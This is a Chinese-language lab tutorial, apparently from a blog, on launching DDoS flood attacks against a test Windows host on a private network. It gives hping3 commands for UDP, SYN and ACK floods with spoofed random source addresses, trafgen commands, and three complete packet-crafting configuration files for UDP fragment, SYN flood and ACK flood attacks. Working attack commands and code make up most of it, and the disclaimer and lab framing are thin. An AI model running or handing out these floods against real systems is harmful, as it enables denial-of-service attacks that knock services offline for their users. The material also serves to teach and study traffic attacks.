1. 程式人生 > >DDOS流量攻擊

DDOS流量攻擊

宣告:本實驗教程僅供研究學習使用,請勿用於非法用途,違者一律自行承擔所有風險!!!

實驗目的

學習基本的DDOS工具使用

hping3

netsniffer – trafgen

實驗環境

包含2臺主機

attact 作為攻擊方,使用Centos7.2

windows_server ,用於被攻擊,同時抓包分析流量 ,任意版本均可。安裝wireshark,用於抓包

實驗步驟

使用hping

hping官網幫助資訊

hping與ping的區別:典型的ping程式使用的是ICMP回顯請求來測試,而HPING可以使用任何IP報文,包括ICMP、TCP、UDP、RAWSOCKET

檢視幫助資訊

hping --help

1、使用hping3進行 udp flood攻擊

hping3 --flood --rand-source --udp -p 目標埠 目標IP 
hping3 --flood --rand-source --udp -c 100 -p 目標埠 目標IP 

–flood : sent packets as fast as possible(儘可能快地傳送資料包)

–rand-source: random source address(隨機源IP地址)

–udp : UDP mode

-p –destport: destination port (default 0) (目標埠)

-c 100 傳送100個數據包,用於實驗,不加可能會宕機
執行命令時,抓包檢視傳送資料。並觀察目標機器網路

抓包結果:

1540446423341

靶機狀態:

![1540446645489](Picture/15在這裡插入圖片描述

2、使用hping 進行syn_flood攻擊

hping3 --flood –-rand-source -S -c 100 -p 目標埠 目標IP

-S:傳送SYN標記

攻擊後,在windows上使用 netstat -ano | find "SYN"命令,檢視現象

![1540447324931](Picture/15404在這裡插入圖片描述

3、使用hping 進行ack_flood攻擊

hping3 --flood –-rand-source -A -c 100 -p 目標埠 目標IP

-A:傳送ACK標記

試試同時發起syn_flood與ack_flood

同時發起兩種攻擊時,靶機情況

![1540448131109](Picture/154044在這裡插入圖片描述

使用netsniff的trafgen元件

實驗時,修改目的IP和mac地址即可。

4、使用trafgen進行udp 碎片攻擊

small_frag.traf為配置模板,需要修改 目標IP地址 目標埠 目標MAC地址等引數

trafgen --cpp --dev 介面名 --conf small_frag.traf -n 100 --verbose

–cpp Run packet config through C preprocessor

–conf 配置檔案

–dev 介面名,通過ifconfig可以檢視

–verbose 冗餘傳送

-n 100 傳送100個數據包,用於實驗,不加可能會宕機

實驗結果:

![1540452143959](Picture/154045在這裡插入圖片描述

![1540452187176](Pict在這裡插入圖片描述

5、使用trafgen進行syn_flood攻擊

trafgen --cpp --dev 介面名 --conf syn_flood.traf -n 100 --verbose

實驗結果

![1540451350027](Picture/15404513在這裡插入圖片描述
1540451410467

6、使用trafgen進行ack_flood攻擊

trafgen --cpp --dev 介面名 --conf ack_flood.traf -n 100 --verbose

攻擊結果:

1540451780045

1540451834483

試試同時發起syn_flood與ack_flood

安裝實驗工具hping3

wget https://github.com/antirez/hping/archive/master.zip

unzip master

cd hping-master

yum install libpcap-devel

ln -sf /usr/include/pcap-bpf.h /usr/include/net/bpf.h

yum -y install tcl tcl-devel

./configure

make && make install

參考:安裝hping的一些坑

安裝實驗工具 netsniff-ng

yum install netsniff-ng -y
trafgen的相關使用可以參考這個

hping 官方help

hping官網幫助資訊

附件1

small_frag.traf

/* UDP fragment DoS attack
 * Command example:
 *  trafgen --cpp --dev em2 --conf small_frag.trafgen --verbose
 * Note: dynamic elements "drnd()" make trafgen slower
 */
// trafgen packet conf for fragment DoS attack
// -------------------------------------------
//  - Need to randomize the frag ID
//  - Use trafgen support for dynamic checksum recalc
//
// Checksum cannot be fixed with iptables:
//   iptables -t mangle -I POSTROUTING -d 192.168.51.2 -j CHECKSUM --checksum-fill
// Because traffic is injected a place which don't have any NF hooks
//

{
  // --- Ethernet Header ---
  0x00, 0x0c, 0x29, 0x0e, 0xe4, 0xfe,  // MAC Destination
  0x90, 0xe2, 0xba, 0x0a, 0x56, 0xb4,  // MAC Source
  const16(0x0800), // Protocol

  // --- IP Header ---
  // IPv4 Version(4-bit) + IHL(4-bit), TOS
  0b01000101, 0x00,
  // IPv4 Total Len
  const16(40),

  // ID, notice runtime dynamic random
  drnd(2),

  // IPv4 3-bit flags + 13-bit fragment offset
  // 001 = More fragments
  0b00100000, 0b00000000,

  64, //TTL
  17, // Proto UDP

  // Dynamic IP Checksum (notice offsets are zero indexed)
  csumip(14, 33),

  192, 168, 164, 188, // Source IP
  192, 168, 164, 1, // Dest IP

  // --- UDP Header ---
  //  As this is a fragment the below stuff does not matter too much
  const16(48054), // src port
  const16(62148), // dst port
  const16(20),    // UDP length

  // UDP checksum can be dyn calc via csumudp(offset IP, offset TCP)
  //  which is csumudp(14, 34), but for UDP its allowed to be zero
  const16(0),

  // Payload
  'A',  fill(0x41, 11),
}


附件2

syn_flood.traf

/* TCP SYN attack ( 64byte )
 * Command example:
 *  trafgen --cpp --dev em2 --conf synflood.trafgen --verbose
 * Note: dynamic elements "drnd()" make trafgen slower
 */

#define ETH_P_IP	0x0800

#define SYN		(1 << 1)
#define ACK		(1 << 4)
#define ECN		(1 << 6)

{
  /* --- Ethernet Header --- */
  /* NEED ADJUST */
  0x00, 0x0c, 0x29, 0x0e, 0xe4, 0xfe,  # MAC Destination
  0x00, 0x12, 0xc0, drnd(3),  # MAC Source
  
  const16(ETH_P_IP),
  /* IPv4 Version, IHL, TOS */
  0b01000101, 0,
  /* IPv4 Total Len */
  const16(46),
  /* IPv4 Ident */
  drnd(2),
  //const16(2),

  /* IPv4 Flags, Frag Off */
  0b01000000, 0,
  /* IPv4 TTL */
  64,
  /* Proto TCP */
  0x06,
  /* IPv4 Checksum (IP header from, to) */
  csumip(14, 33),

  /* NEED ADJUST */
  10, 10, 88, drnd(1), # Source IP
  192, 168, 164, 1, # Dest IP

  /* TCP Source Port */
  drnd(2),
  /* TCP Dest Port */
  const16(1033),
  /* TCP Sequence Number */
  drnd(4),
  /* TCP Ackn. Number */
  const32(0), /* NOTICE ACK==zero with SYN packets */

  /* TCP Header length + Flags */
  //const16((0x5 << 12) | SYN | ECN)	/* TCP SYN+ECN Flag */
  //const16((0x5 << 12) | SYN | ACK)	/* TCP SYN+ACK Flag */
  const16((0x5 << 12) | SYN)		/* TCP SYN Flag */
  //const16((0x5 << 12) | ACK)		/* TCP ACK Flag */

  /* Window Size */
  const16(16),
  /* TCP Checksum (offset IP, offset TCP) */
  csumtcp(14, 34),
  const16(0), /*PAD*/
  
  /* Data */
  "SYNswf"
}


附件3

ack_flood.traf

/* TCP ACK attack ( 64byte )
 * Command example:
 *  trafgen --cpp --dev em2 --conf ackflood.trafgen --verbose
 * Note: dynamic elements "drnd()" make trafgen slower
 */

#define ETH_P_IP	0x0800

#define SYN		(1 << 1)
#define ACK		(1 << 4)
#define ECN		(1 << 6)

{
  /* --- Ethernet Header --- */
  /* NEED ADJUST */
  0x00, 0x0c, 0x29, 0x0e, 0xe4, 0xfe,  # MAC Destination
  0x00, 0x12, 0xc0, drnd(3),  # MAC Source
  
  const16(ETH_P_IP),
  /* IPv4 Version, IHL, TOS */
  0b01000101, 0,
  /* IPv4 Total Len */
  const16(46),
  /* IPv4 Ident */
  drnd(2),
  //const16(2),

  /* IPv4 Flags, Frag Off */
  0b01000000, 0,
  /* IPv4 TTL */
  64,
  /* Proto TCP */
  0x06,
  /* IPv4 Checksum (IP header from, to) */
  csumip(14, 33),

  /* NEED ADJUST */
  10, 10, 88, drnd(1), # Source IP
  192, 168, 164, 128, # Dest IP

  /* TCP Source Port */
  drnd(2),
  /* TCP Dest Port */
  const16(80),
  /* TCP Sequence Number */
  drnd(4),
  /* TCP Ackn. Number */
  drnd(4),

  /* TCP Header length + Flags */
  //const16((0x5 << 12) | SYN | ECN)	/* TCP SYN+ECN Flag */
  //const16((0x5 << 12) | SYN | ACK)	/* TCP SYN+ACK Flag */
  //const16((0x5 << 12) | SYN)		/* TCP SYN Flag */
  const16((0x5 << 12) | ACK)		/* TCP ACK Flag */

  /* Window Size */
  const16(16),
  /* TCP Checksum (offset IP, offset TCP) */
  csumtcp(14, 34),
  const16(0), /*PAD*/
  
  /* Data */
  "ACKswf"
}